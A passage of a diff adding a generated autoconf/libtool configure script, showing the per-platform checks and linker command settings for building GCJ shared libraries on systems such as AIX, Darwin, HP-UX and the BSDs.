\`-c -o', so \`make -j' may be unsafe" >&2;} + need_locks=warn + fi +else + need_locks=no +fi + +echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supports shared libraries" >&5 +echo $ECHO_N "checking whether the $compiler linker ($LD) supports shared libraries... $ECHO_C" >&6 + + runpath_var= + allow_undefined_flag_GCJ= + enable_shared_with_static_runtimes_GCJ=no + archive_cmds_GCJ= + archive_expsym_cmds_GCJ= + old_archive_From_new_cmds_GCJ= + old_archive_from_expsyms_cmds_GCJ= + export_dynamic_flag_spec_GCJ= + whole_archive_flag_spec_GCJ= + thread_safe_flag_spec_GCJ= + hardcode_libdir_flag_spec_GCJ= + hardcode_libdir_flag_spec_ld_GCJ= + hardcode_libdir_separator_GCJ= + hardcode_direct_GCJ=no + hardcode_minus_L_GCJ=no + hardcode_shlibpath_var_GCJ=unsupported + link_all_deplibs_GCJ=unknown + hardcode_automatic_GCJ=no + module_cmds_GCJ= + module_expsym_cmds_GCJ= + always_export_symbols_GCJ=no + export_symbols_cmds_GCJ='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + # include_expsyms should be a list of space-separated symbols to be *always* + # included in the symbol list + include_expsyms_GCJ= + # exclude_expsyms can be an extended regexp of symbols to exclude + # it will be wrapped by ` (' and `)$', so one must not match beginning or + # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc', + # as well as any symbol that contains `d'. + exclude_expsyms_GCJ="_GLOBAL_OFFSET_TABLE_" + # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out + # platforms (ab)use it in PIC code, but their linkers get confused if + # the symbol is explicitly referenced. Since portable code cannot + # rely on this symbol name, it's probably fine to never include it in + # preloaded symbol tables. + extract_expsyms_cmds= + + case $host_os in + cygwin* | mingw* | pw32*) + # FIXME: the MSVC++ port hasn't been tested in a loooong time + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + if test "$GCC" != yes; then + with_gnu_ld=no + fi + ;; + openbsd*) + with_gnu_ld=no + ;; + esac + + ld_shlibs_GCJ=yes + if test "$with_gnu_ld" = yes; then + # If archive_cmds runs LD, not CC, wlarc should be empty + wlarc='${wl}' + + # See if GNU ld supports shared libraries. + case $host_os in + aix3* | aix4* | aix5*) + # On AIX/PPC, the GNU linker is very broken + if test "$host_cpu" != ia64; then + ld_shlibs_GCJ=no + cat <<EOF 1>&2 + +*** Warning: the GNU linker, at least up to release 2.9.1, is reported +*** to be unable to reliably create shared libraries on AIX. +*** Therefore, libtool is disabling shared libraries support. If you +*** really care for shared libraries, you may want to modify your PATH +*** so that a non-GNU linker is found, and then restart. + +EOF + fi + ;; + + amigaos*) + archive_cmds_GCJ='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_minus_L_GCJ=yes + + # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports + # that the semantics of dynamic libraries on AmigaOS, at least up + # to version 4, is to share data among multiple programs linked + # with the same dynamic library. Since this doesn't match the + # behavior of shared libraries on other platforms, we can't use + # them. + ld_shlibs_GCJ=no + ;; + + beos*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + allow_undefined_flag_GCJ=unsupported + # Joseph Beckenbach <jrb3@best.com> says some releases of gcc + # support --undefined. This deserves some investigation. FIXME + archive_cmds_GCJ='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + else + ld_shlibs_GCJ=no + fi + ;; + + cygwin* | mingw* | pw32*) + # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, GCJ) is actually meaningless, + # as there is no search path for DLLs. + hardcode_libdir_flag_spec_GCJ='-L$libdir' + allow_undefined_flag_GCJ=unsupported + always_export_symbols_GCJ=no + enable_shared_with_static_runtimes_GCJ=yes + export_symbols_cmds_GCJ='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols' + + if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then + archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + # If the export-symbols file already is a .def file (1st line + # is EXPORTS), use it as is; otherwise, prepend... + archive_expsym_cmds_GCJ='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + else + ld_shlibs=no + fi + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + archive_cmds_GCJ='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib' + wlarc= + else + archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + fi + ;; + + solaris* | sysv5*) + if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then + ld_shlibs_GCJ=no + cat <<EOF 1>&2 + +*** Warning: The releases 2.8.* of the GNU linker cannot reliably +*** create shared libraries on Solaris systems. Therefore, libtool +*** is disabling shared libraries support. We urge you to upgrade GNU +*** binutils to release 2.9.1 or newer. Another option is to modify +*** your PATH or compiler configuration so that the native linker is +*** used, and then restart. + +EOF + elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs_GCJ=no + fi + ;; + + sunos4*) + archive_cmds_GCJ='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags' + wlarc= + hardcode_direct_GCJ=yes + hardcode_shlibpath_var_GCJ=no + ;; + + linux*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + tmp_archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_cmds_GCJ="$tmp_archive_cmds" + supports_anon_versioning=no + case `$LD -v 2>/dev/null` in + *\ 01.* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11 + *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ... + *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ... + *\ 2.11.*) ;; # other 2.11 versions + *) supports_anon_versioning=yes ;; + esac + if test $supports_anon_versioning = yes; then + archive_expsym_cmds_GCJ='$echo "{ global:" > $output_objdir/$libname.ver~ +cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ +$echo "local: *; };" >> $output_objdir/$libname.ver~ + $CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' + else + archive_expsym_cmds_GCJ="$tmp_archive_cmds" + fi + else + ld_shlibs_GCJ=no + fi + ;; + + *) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs_GCJ=no + fi + ;; + esac + + if test "$ld_shlibs_GCJ" = yes; then + runpath_var=LD_RUN_PATH + hardcode_libdir_flag_spec_GCJ='${wl}--rpath ${wl}$libdir' + export_dynamic_flag_spec_GCJ='${wl}--export-dynamic' + # ancient GNU ld didn't support --whole-archive et. al. + if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then + whole_archive_flag_spec_GCJ="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + else + whole_archive_flag_spec_GCJ= + fi + fi + else + # PORTME fill in a description of your system's linker (not GNU ld) + case $host_os in + aix3*) + allow_undefined_flag_GCJ=unsupported + always_export_symbols_GCJ=yes + archive_expsym_cmds_GCJ='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' + # Note: this linker hardcodes the directories in LIBPATH if there + # are no directories specified by -L. + hardcode_minus_L_GCJ=yes + if test "$GCC" = yes && test -z "$link_static_flag"; then + # Neither direct hardcoding nor static linking is supported with a + # broken collect2. + hardcode_direct_GCJ=unsupported + fi + ;; + + aix4* | aix5*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag="" + else + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to AIX nm, but means don't demangle with GNU nm + if $NM -V 2>&1 | grep 'GNU' > /dev/null; then + export_symbols_cmds_GCJ='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + else + export_symbols_cmds_GCJ='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + fi + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[23]|aix4.[23].*|aix5*) + for ld_flag in $LDFLAGS; do + if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then + aix_use_runtimelinking=yes + break + fi + done + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + archive_cmds_GCJ='' + hardcode_direct_GCJ=yes + hardcode_libdir_separator_GCJ=':' + link_all_deplibs_GCJ=yes + + if test "$GCC" = yes; then + case $host_os in aix4.012|aix4.012.*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && \ + strings "$collect2name" | grep resolve_lib_name >/dev/null + then + # We have reworked collect2 + hardcode_direct_GCJ=yes + else + # We have old collect2 + hardcode_direct_GCJ=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + hardcode_minus_L_GCJ=yes + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_libdir_separator_GCJ= + fi + esac + shared_flag='-shared' + else + # not using gcc + if test "$host_cpu" = ia64; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test "$aix_use_runtimelinking" = yes; then + shared_flag='${wl}-G' + else + shared_flag='${wl}-bM:SRE' + fi + fi + fi + + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + always_export_symbols_GCJ=yes + if test "$aix_use_runtimelinking" = yes; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + allow_undefined_flag_GCJ='-berok' + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec_GCJ='${wl}-blibpath:$libdir:'"$aix_libpath" + archive_expsym_cmds_GCJ="\$CC"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" + else + if test "$host_cpu" = ia64; then + hardcode_libdir_flag_spec_GCJ='${wl}-R $libdir:/usr/lib:/lib' + allow_undefined_flag_GCJ="-z nodefs" + archive_expsym_cmds_GCJ="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec_GCJ='${wl}-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + no_undefined_flag_GCJ=' ${wl}-bernotok' + allow_undefined_flag_GCJ=' ${wl}-berok' + # -bexpall does not export symbols beginning with underscore (_) + always_export_symbols_GCJ=yes + # Exported symbols can be pulled into shared objects from archives + whole_archive_flag_spec_GCJ=' ' + archive_cmds_need_lc_GCJ=yes + # This is similar to how AIX traditionally builds it's shared libraries. + archive_expsym_cmds_GCJ="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' + fi + fi + ;; + + amigaos*) + archive_cmds_GCJ='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_minus_L_GCJ=yes + # see comment about different semantics on the GNU ld section + ld_shlibs_GCJ=no + ;; + + bsdi[45]*) + export_dynamic_flag_spec_GCJ=-rdynamic + ;; + + cygwin* | mingw* | pw32*) + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + # hardcode_libdir_flag_spec is actually meaningless, as there is + # no search path for DLLs. + hardcode_libdir_flag_spec_GCJ=' ' + allow_undefined_flag_GCJ=unsupported + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=".dll" + # FIXME: Setting linknames here is a bad hack. + archive_cmds_GCJ='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames=' + # The linker will automatically build a .lib file if we build a DLL. + old_archive_From_new_cmds_GCJ='true' + # FIXME: Should let the user specify the lib program. + old_archive_cmds_GCJ='lib /OUT:$oldlib$oldobjs$old_deplibs' + fix_srcfile_path='`cygpath -w "$srcfile"`' + enable_shared_with_static_runtimes_GCJ=yes + ;; + + darwin* | rhapsody*) + case "$host_os" in + rhapsody* | darwin1.[012]) + allow_undefined_flag_GCJ='${wl}-undefined ${wl}suppress' + ;; + *) # Darwin 1.3 on + if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then + allow_undefined_flag_GCJ='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + else + case ${MACOSX_DEPLOYMENT_TARGET} in + 10.[012]) + allow_undefined_flag_GCJ='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + ;; + 10.*) + allow_undefined_flag_GCJ='${wl}-undefined ${wl}dynamic_lookup' + ;; + esac + fi + ;; + esac + archive_cmds_need_lc_GCJ=no + hardcode_direct_GCJ=no + hardcode_automatic_GCJ=yes + hardcode_shlibpath_var_GCJ=unsupported + whole_archive_flag_spec_GCJ='' + link_all_deplibs_GCJ=yes + if test "$GCC" = yes ; then + output_verbose_link_cmd='echo' + archive_cmds_GCJ='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + module_cmds_GCJ='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + archive_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + module_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + case "$cc_basename" in + xlc*) + output_verbose_link_cmd='echo' + archive_cmds_GCJ='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring' + module_cmds_GCJ='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + archive_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + module_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + ;; + *) + ld_shlibs_GCJ=no + ;; + esac + fi + ;; + + dgux*) + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_shlibpath_var_GCJ=no + ;; + + freebsd1*) + ld_shlibs_GCJ=no + ;; + + # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor + # support. Future versions do this automatically, but an explicit c++rt0.o + # does not break anything, and helps significantly (at the cost of a little + # extra space). + freebsd2.2*) + archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' + hardcode_libdir_flag_spec_GCJ='-R$libdir' + hardcode_direct_GCJ=yes + hardcode_shlibpath_var_GCJ=no + ;; + + # Unfortunately, older versions of FreeBSD 2 do not have this feature. + freebsd2*) + archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_GCJ=yes + hardcode_minus_L_GCJ=yes + hardcode_shlibpath_var_GCJ=no + ;; + + # FreeBSD 3 and greater uses gcc -shared to do shared libraries. + freebsd* | kfreebsd*-gnu) + archive_cmds_GCJ='$CC -shared -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec_GCJ='-R$libdir' + hardcode_direct_GCJ=yes + hardcode_shlibpath_var_GCJ=no + ;; + + hpux9*) + if test "$GCC" = yes; then + archive_cmds_GCJ='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + else + archive_cmds_GCJ='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + fi + hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir' + hardcode_libdir_separator_GCJ=: + hardcode_direct_GCJ=yes + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L_GCJ=yes + export_dynamic_flag_spec_GCJ='${wl}-E' + ;; + + hpux10* | hpux11*) + if test "$GCC" = yes -a "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*|ia64*) + archive_cmds_GCJ='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + archive_cmds_GCJ='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + else + case "$host_cpu" in + hppa*64*|ia64*) + archive_cmds_GCJ='$LD -b +h $soname -o $lib $libobjs $deplibs $linker_flags' + ;; + *) + archive_cmds_GCJ='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' + ;; + esac + fi + if test "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*) + hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir' + hardcode_libdir_flag_spec_ld_GCJ='+b $libdir' + hardcode_libdir_separator_GCJ=: + hardcode_direct_GCJ=no + hardcode_shlibpath_var_GCJ=no + ;; + ia64*) + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_direct_GCJ=no + hardcode_shlibpath_var_GCJ=no + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L_GCJ=yes + ;; + *) + hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir' + hardcode_libdir_separator_GCJ=: + hardcode_direct_GCJ=yes + export_dynamic_flag_spec_GCJ='${wl}-E' + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L_GCJ=yes + ;; + esac + fi + ;; + + irix5* | irix6* | nonstopux*) + if test "$GCC" = yes; then + archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + archive_cmds_GCJ='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + hardcode_libdir_flag_spec_ld_GCJ='-rpath $libdir' + fi + hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_GCJ=: + link_all_deplibs_GCJ=yes + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out + else + archive_cmds_GCJ='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF + fi + hardcode_libdir_flag_spec_GCJ='-R$libdir' + hardcode_direct_GCJ=yes + hardcode_shlibpath_var_GCJ=no + ;; + + newsos6) + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_GCJ=yes + hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_GCJ=: + hardcode_shlibpath_var_GCJ=no + ;; + + openbsd*) + hardcode_direct_GCJ=yes + hardcode_shlibpath_var_GCJ=no + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + archive_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' + hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir' + export_dynamic_flag_spec_GCJ='${wl}-E' + else + case $host_os in + openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*) + archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec_GCJ='-R$libdir' + ;; + *) + archive_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir' + ;; + esac + fi + ;; + + os2*) + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_minus_L_GCJ=yes + allow_undefined_flag_GCJ=unsupported + archive_cmds_GCJ='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def' + old_archive_From_new_cmds_GCJ='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def' + ;; + + osf3*) + if test "$GCC" = yes; then + allow_undefined_flag_GCJ=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds_GCJ='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + allow_undefined_flag_GCJ=' -expect_unresolved \*' + archive_cmds_GCJ='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry 